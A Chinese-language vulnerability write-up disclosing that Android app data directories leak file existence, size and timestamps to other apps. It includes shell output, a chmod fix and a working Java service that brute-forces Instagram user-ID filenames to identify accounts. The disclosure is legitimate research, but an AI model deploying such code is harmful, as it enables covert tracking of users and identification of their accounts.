都是权限惹的祸:安卓恶意APP如何将其他APP中的私有数据搞到手

简介:

前言

下面要介绍的恶意软件可以读取Android手机中其他app的文件元数据,例如文件的名称、大小、以及最后修改日期等等。如果文件名中含有敏感信息的标识,那么这款恶意app会将这份文件识别为敏感文件,并且还可以对其进行暴力破解攻击。除此之外,它还可以通过分析其他app私有文件的大小和最后修改日期这两部分数据,来对其他app的使用情况进行实时监控。

实际上,从Android操作系统的诞生之日起,其文件系统中就一直存在着权限问题。当我将该漏洞提交给Google公司之后,Google将这一漏洞归类为了“低危漏洞”,并且给我提供了五百美元的漏洞奖金。

我写这篇文章的目的只是为了抛砖引玉,希望能给大家提供一个关于处理Android安全问题的思路。

问题分析

Android App的私有数据默认会保存在“/data/data/”目录下,其他的App没有权限访问存储在该目录下的数据。接下来,我们用Youtube App来举个例子。

Android端的Youtube应用程序会将其私有数据保存在目录“/data/data/com.google.android.youtube/”之下。现在,让我们从根目录开始分析一下整个文件系统中各个文件的权限:

/data/drwxrwx--x system system 2015-11-30 20:30data

/data/data/drwxrwx--x system system 2015-11-29 15:34data

/data/data/com.google.android.youtube

drwxr-x--x u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube

/data/data/com.google.android.youtube/*

drwxrwx--x u0_a77 u0_a77 2015-11-08 18:15app_sslcache

drwxrwx--x u0_a77 u0_a77 2015-11-30 19:54cache

drwxrwx--x u0_a77 u0_a77 2015-11-29 13:06 databases

drwxrwx--x u0_a77 u0_a77 2015-11-12 12:10files

lrwxrwxrwx install install 2015-11-29 11:02lib -> /data/app-lib/com.google.android.youtube-1

drwxrwx--x u0_a77 u0_a77 2015-11-30 19:54shared_prefs

我们可以从上面这部分信息中看到,在整个目录结构中,每一个文件目录都给设备用户提供了完整的执行权限(+x)。

而我们也知道,所谓的执行权限,就是允许设备用户可以直接运行目标文件的权限。如果将该权限赋予了某一文件目录的话,也就意味着用户只要知道文件夹下具体的文件名,可以直接通过文件名来访问该目录下的文件内容和元数据。但此时还无法直接进入文件夹,以及访问该目录下的文件数据,因为这样的操作将需要相应的读取权限。

分析结果表明:其他的用户可以使用“cd”命令来进入这些目录,但是无法通过“ls”命令来获取该目录下的所有文件(没有读取权限)。当然了,用户也无法直接在该目录下创建新的文件,因为这将需要文件目录的写入权限(+w):

u0_a84@mako:/data/data $ ls -la

opendir failed, Permission denied

u0_a84@mako:/data/data $ cd com.google.android.youtube

u0_a84@mako:/data/data/com.google.android.youtube $ ls -la

opendir failed, Permission denied

u0_a84@mako:/data/data/com.google.android.youtube $ cdwrongdir

/system/bin/sh: [22]: cd:/data/data/com.google.android.youtube/wrongdir: No such file or directory

u0_a84@mako:/data/data/com.google.android.youtube $ cdshared_prefs

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ ls -la

opendir failed, Permission denied

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ echo “test” >test.xml

/system/bin/sh: [31]: can't create test.xml:Permission denied

但是,如上所述,如果我们能够提前获取到目标文件的名称,那么我们就可以列出该文件,并获取目标文件的元数据了。接下来,我们还是继续分析Youtube App。在默认情况下,该App会在“/data/data/com.google.android.youtube/” 目录下的“shared_prefs”文件夹中生成一个名为“youtube.xml”的文件。虽然很多其他的App可以列出这个文件,但是由于权限的问题,所以这些App是无法读取这份文件的:

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ ls -la youtube.xml

-rw-rw---- u0_a77 u0_a77 6680 2015-11-30 19:54youtube.xml

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ cat youtube.xml

/system/bin/sh: [28]: cat: youtube.xml:Permission denied

正如上面这段信息所示,任何恶意App都可以做到下面这两件事情:

  1. 通过“ls”命令来查看其他App的某些私有文件是否存在于文件系统中,但前提是要知道目标文件的文件名称;
  2. 获取到这些私有文件的大小和最后修改日期;

这绝对是一个安全漏洞,因为我们可以通过以下两种不同的方式来利用这个漏洞:

  1. 恶意App可以可以通过监视特定的私有文件来实时监控某些App的使用情况。比如说,如果恶意App想要知道Android设备的用户一般在何时打开Youtube客户端,那么它就可以定期检查Youtube客户端“shared_prefs”目录下的“youtube.xml”文件,并从获取到的文件大小和最后修改日期来判断用户的使用习惯。因为当用户打开Youtube客户端时,这个文件将会被修改。因此,恶意App还可以通过这个漏洞来分析某些应用程序的使用情况。
  2. 如果某个合法的App选择将敏感数据保存在一个文件中,而文件名称一看就知道是用来存储敏感数据的话,那么恶意App就可以选择对该文件进行暴力破解攻击。比如说,Instagram和Facebook会使用用户ID(USERID)来标识某些敏感文件。不光是这两个App,很多其他的App也会采用这样的方式来处理敏感文件,这种情况我已经见过很多次了。

Instagram:/data/data/com.instagram.android/shared_prefs/.xml

Facebook:/data/data/com.facebook.katana/shared_prefs/XStorage-LATEST-.xml

比如说Instagram,用户ID标识符(USERID)的范围在0-2500000000之间,所以恶意App可以通过暴力破解的手段直接在本地发动攻击。恶意App可以利用下面这段Android代码来在后台对用户标识符进行暴力破解攻击:

import java.io.File;

import java.math.BigInteger;

import android.app.Service;

import android.content.Intent;

import android.os.IBinder;

import android.util.Log;

public class MyService extends Service {

@Override

public intonStartCommand(Intent intent, int flags, int startId) {

newThread(new Runnable() {

publicvoid run() {

Log.v("brute", "Bruteforce started");

BigInteger begin = BigInteger.ZERO;

BigInteger end = new BigInteger("2500000000");

String dirPath ="/data/data/com.instagram.android/shared_prefs/";

while(begin.compareTo(end) != 1) {

String filename= begin.toString() + ".xml";

File test = newFile(dirPath,filename);

if(test.exists()) {

Log.v("brute", "Account found: " +begin.toString());

}

begin =begin.add(BigInteger.ONE);

}

Log.v("brute", "Bruteforce ended");

}

}).start();

returnService.START_STICKY;

}

@Override

public IBinderonBind(Intent intent) {

//TODO Auto-generated method stub

returnnull;

}

}

当上面这段代码所加载的服务被开启之后,恶意App将会被关闭,在后台进行暴力破解攻击的任务就转交给了这个服务来进行。我们在Nexus4手机上进行了攻击模拟,我们遍历了2500000000个可能的文件,总共花费了五天左右的时间,最终成功找到了正确的文件:

当用户感染了这一恶意软件之后,攻击者就可以通过这样的方式来获取到用户的网络服务ID,进而查找出用户的账号。受影响的可能是Facebook、QQ、Youtube、以及微信这样的社交媒体类App,也有可能是金融类的银行App。值得注意的是,Instagram还包含有一个ContentProvider(com.instagram.contentprovider.CurrentUserProvider),可以用来查询用户注册账号的USERID,但是默认情况下Instagram是禁止其他App使用这个ContentProvider的。

但是很明显,Instagram这样做的目的肯定不是为了将用户的敏感数据泄露给其他的App。

这个漏洞是我当初在检测InstagramApp的时候发现的,如果大家对Instagram客户端中存在的其他安全问题感兴趣的话,欢迎各位同学阅读这篇文章[传送门]。

解决方案

这个问题其实也很好解决,我们只需要移除“/data/data/”目录下App文件夹的执行权限(+x),就可以解决这个问题了,这样也可以有效地防止攻击者通过“cd”命令和“ls”命令来获取文件目录下的文件基本信息。

修复前的状态:

u0_a84@mako:/data/data $ cd com.google.android.youtube

u0_a84@mako:/data/data/com.google.android.youtube $ cd ..

u0_a84@mako:/data/data $ ls -lacom.google.android.youtube/shared_prefs/youtube.xml

-rw-rw---- u0_a77 u0_a77 6680 2015-11-30 19:54youtube.xml

修复过程:

root@mako:/data/data # ls -la | grep youtube

drwxr-x--x u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube

root@mako:/data/data # chmod 750com.google.android.youtube

root@mako:/data/data # ls -la | grep youtube

drwxr-x--- u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube

修复后的状态:

u0_a84@mako:/data/data $ cd com.google.android.youtube

/system/bin/sh: [25]: cd:/data/data/com.google.android.youtube: Permission denied

u0_a84@mako:/data/data $ ls -lacom.google.android.youtube/shared_prefs/youtube.xml

com.google.android.youtube/shared_prefs/youtube.xml:Permission denied

本文转自d1net(转载)

相关文章
|
1月前
|
XML Java 数据库
安卓项目:app注册/登录界面设计
本文介绍了如何设计一个Android应用的注册/登录界面,包括布局文件的创建、登录和注册逻辑的实现,以及运行效果的展示。
129 0
安卓项目:app注册/登录界面设计
|
2月前
|
Java 数据库 Android开发
一个Android App最少有几个线程?实现多线程的方式有哪些?
本文介绍了Android多线程编程的重要性及其实现方法,涵盖了基本概念、常见线程类型(如主线程、工作线程)以及多种多线程实现方式(如`Thread`、`HandlerThread`、`Executors`、Kotlin协程等)。通过合理的多线程管理,可大幅提升应用性能和用户体验。
115 15
一个Android App最少有几个线程?实现多线程的方式有哪些?
|
1月前
|
JSON API 网络安全
App数据的爬取
App数据的爬取
|
2月前
|
存储 开发工具 Android开发
使用.NET MAUI开发第一个安卓APP
【9月更文挑战第24天】使用.NET MAUI开发首个安卓APP需完成以下步骤:首先,安装Visual Studio 2022并勾选“.NET Multi-platform App UI development”工作负载;接着,安装Android SDK。然后,创建新项目时选择“.NET Multi-platform App (MAUI)”模板,并仅针对Android平台进行配置。了解项目结构,包括`.csproj`配置文件、`Properties`配置文件夹、平台特定代码及共享代码等。
132 2
|
29天前
|
存储 大数据 数据库
Android经典面试题之Intent传递数据大小为什么限制是1M?
在 Android 中,使用 Intent 传递数据时存在约 1MB 的大小限制,这是由于 Binder 机制的事务缓冲区限制、Intent 的设计初衷以及内存消耗和性能问题所致。推荐使用文件存储、SharedPreferences、数据库存储或 ContentProvider 等方式传递大数据。
46 0
|
2月前
|
XML Android开发 数据格式
🌐Android国际化与本地化全攻略!让你的App走遍全球无障碍!🌍
在全球化背景下,实现Android应用的国际化与本地化至关重要。本文以一款旅游指南App为例,详细介绍如何通过资源文件拆分与命名、适配布局与方向、处理日期时间及货币格式、考虑文化习俗等步骤,完成多语言支持和本地化调整。通过邀请用户测试并收集反馈,确保应用能无缝融入不同市场,提升用户体验与满意度。
90 3
|
2月前
|
存储 API Android开发
"解锁Android权限迷宫:一场惊心动魄的动态权限请求之旅,让你的应用从平凡跃升至用户心尖的宠儿!"
随着Android系统的更新,权限管理成为应用开发的关键。尤其在Android 6.0(API 级别 23)后,动态权限请求机制的引入提升了用户隐私保护,要求开发者进行更精细的权限管理。
63 2
|
1月前
|
安全 网络安全 Android开发
深度解析:利用Universal Links与Android App Links实现无缝网页至应用跳转的安全考量
【10月更文挑战第2天】在移动互联网时代,用户经常需要从网页无缝跳转到移动应用中。这种跳转不仅需要提供流畅的用户体验,还要确保安全性。本文将深入探讨如何利用Universal Links(仅限于iOS)和Android App Links技术实现这一目标,并分析其安全性。
193 0
|
2月前
|
XML 数据库 Android开发
10分钟手把手教你用Android手撸一个简易的个人记账App
该文章提供了使用Android Studio从零开始创建一个简单的个人记账应用的详细步骤,包括项目搭建、界面设计、数据库处理及各功能模块的实现方法。
|
6月前
|
存储 Java API
Android系统 文件访问权限笔记
Android系统 文件访问权限笔记
538 1
下一篇
无影云桌面